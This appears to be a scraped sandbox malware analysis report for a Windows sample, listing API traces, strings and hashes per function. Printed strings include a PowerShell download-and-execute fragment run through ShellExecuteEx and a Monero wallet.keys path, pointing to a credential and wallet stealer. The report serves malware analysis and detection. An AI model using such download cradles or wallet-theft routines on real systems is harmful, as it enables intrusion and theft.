Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 7db1daa6f6c5f210d02b747fe63adacca29de7c9494b6232d9eade502f931c31
Instruction ID: 6d048d083d8943b2b41b5aac3b943e1cc29b4549f14cec6c3e47e71743b1be11
Opcode Fuzzy Hash: 7db1daa6f6c5f210d02b747fe63adacca29de7c9494b6232d9eade502f931c31
Instruction Fuzzy Hash: 97014FB9A44308FBDB00EBE8DC49F69B7F8EB48705F104595FA05D7390EA709900CB61

Function 00B87720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B87734
RtlAllocateHeap.NTDLL(00000000), ref: 00B8773B
RegOpenKeyExA.ADVAPI32(80000002,0092B6C8,00000000,00020119,00B876B9), ref: 00B8775B
RegQueryValueExA.ADVAPI32(00B876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00B8777A
RegCloseKey.ADVAPI32(00B876B9), ref: 00B87784

Strings

CurrentBuildNumber, xrefs: 00B87771

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 496728ced04c98a8a5b22bd604df69ab0aac3766e49ee3deba4cf07b65cdd4ff
Instruction ID: ef851e0e5d4ba2ee078da6ce6c9772b39b90a31a648ec9124697ddc4a19b9ded
Opcode Fuzzy Hash: 496728ced04c98a8a5b22bd604df69ab0aac3766e49ee3deba4cf07b65cdd4ff
Instruction Fuzzy Hash: 4301F4B9A40308FBDB00DBE4DC49FAEB7B8EB44705F104595FA05E7391DA749900CB61

Function 00B799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B79A11
LocalAlloc.KERNEL32(00000040,?), ref: 00B79A31
ReadFile.KERNEL32(000000FF,?,00000000,00B7148F,00000000), ref: 00B79A5A
LocalFree.KERNEL32(00B7148F), ref: 00B79A90
CloseHandle.KERNEL32(000000FF), ref: 00B79A9A

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 1bbe5b45fe1d585cbf4deff921e12f5b36dee83bb52aa7ea58e3a4465d655416
Instruction ID: d725c8ab0f22bb7a81f78bc95fd96740386b17d2d3c313cecbd50488d4b4a996
Opcode Fuzzy Hash: 1bbe5b45fe1d585cbf4deff921e12f5b36dee83bb52aa7ea58e3a4465d655416
Instruction Fuzzy Hash: C231F4B4A01209EFDB14DFA4C985BAE77F5FF48350F108198E915A7390D778AA41CFA1

Function 00B84780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0093DF08), ref: 00B847DB

Part of subcall function 00B88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B88E0B

lstrcat.KERNEL32(?,00000000), ref: 00B84801
lstrcat.KERNEL32(?,?), ref: 00B84820
lstrcat.KERNEL32(?,?), ref: 00B84834
lstrcat.KERNEL32(?,0092AE88), ref: 00B84847
lstrcat.KERNEL32(?,?), ref: 00B8485B
lstrcat.KERNEL32(?,0093D4F8), ref: 00B8486F

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B88D90: GetFileAttributesA.KERNEL32(00000000,?,00B71B54,?,?,00B9564C,?,?,00B90E1F), ref: 00B88D9F

Part of subcall function 00B84570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B84580
Part of subcall function 00B84570: RtlAllocateHeap.NTDLL(00000000), ref: 00B84587
Part of subcall function 00B84570: wsprintfA.USER32 ref: 00B845A6
Part of subcall function 00B84570: FindFirstFileA.KERNEL32(?,?), ref: 00B845BD

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 955d0c911d009a0b10e9de55e00052f4f29114c6d21b6ae7d7abb8e423fcf795
Instruction ID: 1e2c4ae59d18d90e3f1cd3fc907cc227932f2226b7c866a420f07d91baf24d76
Opcode Fuzzy Hash: 955d0c911d009a0b10e9de55e00052f4f29114c6d21b6ae7d7abb8e423fcf795
Instruction Fuzzy Hash: 953180B6900308E7CB14FBB4DC85EED73BCAB58700F4045C9B31996191EE749789CBA5

Function 00B82C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B82D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00B82CC4
')", xrefs: 00B82CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00B82D04
<, xrefs: 00B82D39

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: e234fe36fc20c4b79f8027f13cc9faf2f536abb063c2ed0ffb0044671ba49177
Instruction ID: 6552971a487fd303e7c021cbc9cf9b1efac2ed1e8fa61577f90f1f97ce4bdfbd
Opcode Fuzzy Hash: e234fe36fc20c4b79f8027f13cc9faf2f536abb063c2ed0ffb0044671ba49177
Instruction Fuzzy Hash: 8B41A271D102089BEB14FFA0C891BDDB7B8AF14300F5041AAF116B71A1DF786A4ACFA1

Function 00B79E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00B79F41

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Strings

v20, xrefs: 00B79E21
v10, xrefs: 00B79EA3
ERROR_RUN_EXTRACTOR, xrefs: 00B79E67
@, xrefs: 00B79EF1

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 343ccf7519a7c25c34c494eb5e1bffa265e2e693dd9ef8adee256388f11e6080
Instruction ID: 8e85c8a3cedb71a7b5129986bc83f7e1aeb736627a38b17263cd7fed618a505f
Opcode Fuzzy Hash: 343ccf7519a7c25c34c494eb5e1bffa265e2e693dd9ef8adee256388f11e6080
Instruction Fuzzy Hash: 11611075A10248DFDB28EFA8CC96FED77F5AF44300F008558F91A5B191EB746A05CBA2

Function 00B840B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0093D6B8,00000000,00020119,?), ref: 00B840F4
RegQueryValueExA.ADVAPI32(?,0093DF80,00000000,00000000,00000000,000000FF), ref: 00B84118
RegCloseKey.ADVAPI32(?), ref: 00B84122
lstrcat.KERNEL32(?,00000000), ref: 00B84147
lstrcat.KERNEL32(?,0093DE00), ref: 00B8415B

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 522568b4b093392474a38611c43c72f2d2ab3a57a4eb471e97897e49dd383336
Instruction ID: c08d065d9b064a786198d4fce7a0cb2f567f21b405f52bb24203c41480468059
Opcode Fuzzy Hash: 522568b4b093392474a38611c43c72f2d2ab3a57a4eb471e97897e49dd383336
Instruction Fuzzy Hash: 0641BC76D00208E7DB14FBA4DC46FED737DA758700F404998B61996181EA755B88CBF2

Function 00B86920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00B8696C
sscanf.NTDLL ref: 00B86999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B869C0
ExitProcess.KERNEL32 ref: 00B869DA

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 1aa33bc3c9146ced3b05e7bdc7aed3e29cf3c4d23e1934c00875beedf9921959
Instruction ID: 3233dd3550bb70bacd848f928e305b5c657f5ccf9fd827c5dbcfe35fad0023db
Opcode Fuzzy Hash: 1aa33bc3c9146ced3b05e7bdc7aed3e29cf3c4d23e1934c00875beedf9921959
Instruction Fuzzy Hash: C9219A75D14209EBCF04EFE8D945AEEB7B5FF48300F04856AE506E3250EB745605CBA5

Function 00B87E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B87E37
RtlAllocateHeap.NTDLL(00000000), ref: 00B87E3E
RegOpenKeyExA.ADVAPI32(80000002,0092BB60,00000000,00020119,?), ref: 00B87E5E
RegQueryValueExA.ADVAPI32(?,0093D478,00000000,00000000,000000FF,000000FF), ref: 00B87E7F
RegCloseKey.ADVAPI32(?), ref: 00B87E92

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9765fdf31b89199567e4e4c5444fa2e6e6756b0ca7c5f27f504a9de38497a1cd
Instruction ID: d0e6dcf857824e30a0aa2ff5fde03e9a86e35d54081e03718dedc2dcd237c764
Opcode Fuzzy Hash: 9765fdf31b89199567e4e4c5444fa2e6e6756b0ca7c5f27f504a9de38497a1cd
Instruction Fuzzy Hash: 44112BB1A44305EBD704DB98DD89F6BBBB8EB04711F204299F605E6690DB7498018BA1

Function 00B89260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0093DD58,?,?,?,00B8140C,?,0093DD58,00000000), ref: 00B8926C
lstrcpyn.KERNEL32(00DBAB88,0093DD58,0093DD58,?,00B8140C,?,0093DD58), ref: 00B89290
lstrlen.KERNEL32(?,?,00B8140C,?,0093DD58), ref: 00B892A7
wsprintfA.USER32 ref: 00B892C7

Strings

%s%s, xrefs: 00B892B5

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c95f0bd0fa87c039a645be40e8b6d2c944d3a1c214bc30c33afd04a90906c2e2
Instruction ID: f22fe6f0d86cce21a163e1565ba757c411c57b0cbd6fe399946fd835b541a23a
Opcode Fuzzy Hash: c95f0bd0fa87c039a645be40e8b6d2c944d3a1c214bc30c33afd04a90906c2e2
Instruction Fuzzy Hash: 76011E75500208FFCB04DFECC988EAE7BB9EF44350F148288F90A9B300C631AA40DBA5

Function 00B712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B712B4
RtlAllocateHeap.NTDLL(00000000), ref: 00B712BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00B712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B712F5
RegCloseKey.ADVAPI32(?), ref: 00B712FF

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
